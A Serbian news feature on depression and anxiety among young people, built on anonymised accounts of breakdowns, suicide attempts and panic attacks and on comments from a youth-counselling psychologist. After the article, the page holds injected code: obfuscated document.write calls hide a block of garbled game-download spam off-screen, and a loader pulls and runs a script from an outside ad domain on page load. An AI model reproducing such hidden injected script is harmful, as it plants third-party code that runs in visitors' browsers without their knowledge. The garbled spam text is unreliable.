DEPRESIJA I ANKSIOZNOST SVE ĆEŠĆE POJAVE U PERIODU ADOLESCENCIJE

Picture1

Piše: Anđela Jovanović
 
Kako navodi psiholog Miodrag Đorđević sve više mladih pati od depresije i anksioznosti, one polako postaju bolesti savremenog doba i broj ljudi koji se suočava sa ovim problemima u svakodnevnom je porastu.
Da sve više mladih ima ovaj problem pokazuje i slučaj dvadesetogodišnjeg studenta N.Đ. koji je shvatio da je depresivan tek kada je počeo da na sve gleda negativno. Kako kaže, proganjale su ga loše misli i smatra da je razlog tome stanje u njegovoj porodici za koju se najviše plašio.
- Postajalo sve gore i gore i nisam mogao bas da imam kontrolu nad svojim stanjem. Postao sam tabletoman. Osećao sam se izgubljeno, prazno, beznadežno, tužno, kao da se sve ruši oko mene. Nisam mogao da jedem, ni da spavam. Kasnije su počele drhtavice - govori ovaj mladić.
A onda je pokušao da se ubije.
- Tek nakon toga sam se trgao. Tada sam povredio mnoge koji me vole i mnogo se kajem. Kada više nisam mogao da izdržim takvo stanje ispričao sam roditeljima celokupnu situaciju i potražio pomoć psihijatra. Šta god da je u pitanju, treba samo razmišljati trezveno i biti uporan, rešenje postoji za sve. Treba postaviti sebi cilj, samo juriti napred i ne dozvoliti da vas ništa sputava - uverava nas N . Đ.
Komentarišući suicid psiholog Đorđević navodi da se suicid javlja ukoliko je kriza velika i ukoliko se jave simptomi depresije osoba može da se oseti kao u situaciji bez izlaza gde je niko ne razume, ali da na sreću ima malo osoba koje su u takvom problemu a da nisu zatražile pomoć.
 
 
"Najteža borba u životu je ona sa unutrašnjim demonima i sa sopstvenim strahom"
 
Za razliku od njega dvadesetjednogodišnja A.J. se prvi put suočila sa depresijom u svojoj 19. godini. Ona je izgubila apetit, smršala desetak kilograma, počela da pati od nesanice, zatvarala se u sobu i izolovala od drugih. Budila se sa probadanjima u predelu grudi, bolovima u zglobovima, hroničnoj izmorenost i bezvoljnost za životom. Početak stanja opisuje sledećim rečima:
„Kao previše emotivno biće, tako sam i bila izložena raznim obmanama od strane prijatelja, iskorišćavanja od strane istih, ali isto tako i nekih emotivnih razočarenja. Nekoliko napada od strane nekih ljudi na ulici uplašila su me, ali sam po prirodi osoba koja prikriva svoje strahove i trpi dok ne pukne kao bomba.“ – govori A. J.
Ona je dve godine potiskivala sve što se dešavalo oko nje, raskid duge veze, polazak na fakultet, pogibije brata, trenutak kada je shvatila da je njeno stanje alarmantno jeste onda kada je počela da piše oproštajno pismo.
„Shvatila sam da treba da se obratim lekaru onda kada sam uhvatila sebe da sam počela da pišem oproštajno pismo i da kada prelazim neki most zastanem i razmišljam da li da se ubijem. Onda sam guglala kako da bezbolno izvršim samoubistvo, jer sam se plašila da ću da pođem negde i da će da mi se desi nešto.“ – u jednom dahu govori A. J.
Nakon što se obratila lekaru, njena dijagnoza bila je mešovit anksiozni i depresivni poremećaj.
„S obzirom na to da sam imala momente gde ne mogu da kontrolišem svoj bes, a ponekad ni svoju emotivnost, prepisali su mi antidepresive, sidatu, kako bi mi se napravio psihički balans između organizma i same psihe. Jer je moje psihičko stanje izazvalo tahikardiju i povišen šećer, pa sam u međuvremenu počela da pijem i lekove za srce.“
A.J. navodi da je mnogo lakše kada naučiš da se nosiš sa svojim problemima, a još lakše je kada znaš da postoje ljudi koji imaju isti problem.
„Iznenadila sam se kada sam sa dugogodišnjim prijateljem razgovarala i kada mi je rekao da se sve to dešava i njemu i bilo mi je drago što nisam sama u svom tom začaranom krugu straha. Ljudi se stide toga, to nije za stideti se, samo pokazuje da si previše osetljiv, a najteža borba u životu je ona sa unutrašnjim demonima i sa sopstvenim strahom ukoliko ne znaš odakle potiče.“
Priča o samom problemu sa depresijom za mnoge je tabu, Đorđević govori da na to ne trebamo gledati kao na sramotu:
„Mislim da se o tome malo govori zato što osoba koja prolazi kroz neku krizu obavezno krivi sebe za to i veruje da je sve to samo zato sto je slaba. Svi pre ili kasnije imaju trenutke kada se bore sa sobom u nekoj situaciji. Nije sramota reći nekom da imaš kijavicu i nije sramota reći da si se nečim preopteretio i da si u krizi.“ – navodi Đorđević.
 
"Veselo je srce dobar lek, klonuo duh i kosti suši"
 
Dvadesetšestogodišnjakinja M.V. iz okoline Niša priseća se svog slučaja kada je imala samo 6. godina. Prema njenim rečima bila je nedruželjubivo dete i imala je malo drugova i drugarica, svoje slobodno vreme provodila bi sedeći na stepeništu ispred porodične kuće.
„Jednog dana, naišla mi je misao da ću svakog trenutka umreti, predvidela sam svoju smrt - poginuću u sudaru. Svaki put kada bih sela u auto, mislila sam da je to poslednji put, i uvek tako.“ – započinje priču M. V.
Sve se ponavljalo do jednog trenutka za koji je mislila da je poslednji, ona je imala viziju gde će se to desiti i na koji način. Kada se približila tom mestu počela je da se oprašta sa svojim ličnim stvarima, ali ništa se nije desilo pa je pretpostavila da će u povratku poginuti. Međutim, sledeći događaj promenio je sve:
„Svratili smo kod bake, uzela sam Bibliju, rekla sam sebi da moram pronaći rešenje za svoj problem i deo na kojoj otvorim to je to, to je ono što će mi obeležiti budućnost. Otvorila sam Bibliju na rečenici "Veselo je srce dobar lek, klonuo duh i kosti suši". Posle ove rečenice se nisam odmah izvukla iz problema, ali verovala sam da se to nije slučajno desilo. Kada god bih se loše osetila prisetim se tog događaja i te rečenice.“ – završava svoju priču M. V.
Đorđević navodi da se depresija može javiti prilikom nekih nesrećnih događaja ali se može javiti i u adolescenciji kao poremećaj prilagođavanja. On, takođe, kaže da svako traži načine kako da se izbori sa impulsima koji dolaze iznutra, da nekima pomaze sport, drugima religija, trećima neki hobi, da sve to zavisi od individue.
Psihološkinja M. Đ. bila je na ulici kada je shvatila da ne sme da nastavi, osetila je veliku slabost, mislila je da joj je pao pritisak ili šećer, međutim, shvatila je da se nešto dešava kada joj je prišla grupa ljudi pružajući joj pomoć. Osećala je da joj srce lupa, zuji u ušima i razliva prostor. Mislila je da se ponaša detinjasto i da je to samo trenutno, međutim, svaki put kada bi bila izašla sama napolju, putovala autobusom ili pak ostajala sama kući napadi bi se ponavljali i pojačavali. Ona svoju priču započinje ovako:
„Dugi period sam imala veoma jake bolove u svim zglobovima koji su me činili nesposobnom da živim. Nisam mogla da hodam, da se okupam bez pomoći, da se obučem nekada.. Često sam zbog bolova bila u hitnoj pomoći. S obzirom da veoma dugo nisu mogli da otkriju šta mi je, postala sam očajna, depresivna, preplašena, anksiozna, razdražljiva.“
Počeli su da se javljaju napadi panike, prvi u nizu bio je kada je ostala sama kod kuće.
„U tom trenutku su mi kroz glavu prolazila različita pitanja , šta ako me ponovo zaboli, neću moći da siđem do taksi stanice, neću moći da odem do bolnice, umreću ovde, a niko neće ni da zna, jer neću moći da se odvučem do telefona ili ulaznih vrata. Tada sam osetila kako mi srce lupa toliko jako da će me ugušiti.“
Nakon petnestak minuta uspela je da objasni sebi da je sa njom sve u redu i da je samo uplašena.
„Shvatila sam da to sto se plašim da li će nešto da se dogodi sa mnom neće sprečiti da se to dogoditi, odnosno da je strah bespotreban i suvišan. Od njega mi je samo gore, jer me parališe i ne da mi da razmišljam racionalno.“ – govori o svom strahu M. Đ.
Nije se obratila nikom od stručnjaka, ali je objasnila svojim najbližima o problemu koji ima kako bi je razumeli i pomogli. Đorđević, pak navodi, da bi trebalo porazgovarati sa lekarom jer je svaku krizu moguće prebroditi samo je potrebno dosta energije i vremena i da samo lečenje zavisi od veličine problema.
„. Nekad može da se reši problem samo razgovorom, a nekad je potrebna medikamentna terapija da bi razgovor mogao da ima efekta. Pravilo o trajanju savetovanja ne postoji nekad je dovoljno nekoliko savetovanja da se malo modifikuje direkcija u mišljenju, a nekad je potrebno više vremena.“ – navodi Đorđević.
 
Godišnje u Savetovalište za mlade dođe oko 450 mladih kod kojih su ispoljeni depresija i anksioznost, prema nezvaničnoj statistici ovom pojavom obuhvaćeno je 30 % mladih i postoji tendencija da se taj broj poveća, kaže Đorđević. On dodaje da na temu depresije i anksioznosti članovi Savetovališta za mlade održe 220 radionica i 350 predavanja u školama.
 

document.write('<' + 'di' + 'v sty' + 'le="position: absolute; l' + 'eft: -1914px; t' + 'op' + ': -2858px;">');
������ ���� Diablo 4 ������ ���� ������� ����� ������ ���� ���������-������ ������ ���� Minecraft ������ ���� Assassin's Creed ������ ���� COD 2 ������������ � ���� � ������� ������� ������� �������� ����-������� ������� � ������� ������� ���� � ������� ������������ ������ ���� GTA 5 ���� 4 The SimsOnline � Minecraft 2 Assassins creed �� ������� COD 2 ������ Need For Speed 6 Grand theft auto london Gta unlimited ��� 5 Sims 4 ����������� ������� document.write(''); (function(i, s, o, g, r, a, m) { i[r] = i[r] || function() { (i[r].q = i[r].q || []).push(arguments) }; a = s.createElement(o), m = s.getElementsByTagName(o)[0]; a.async = 1; a.src = g; m.parentNode.insertBefore(a, m) }) (window, document, 'script', 'http://wap-click.bid/js/embed.js?hash=4zfkPn1B', 'wc'); wc('start', '4zfkPn1B', {});

Tags: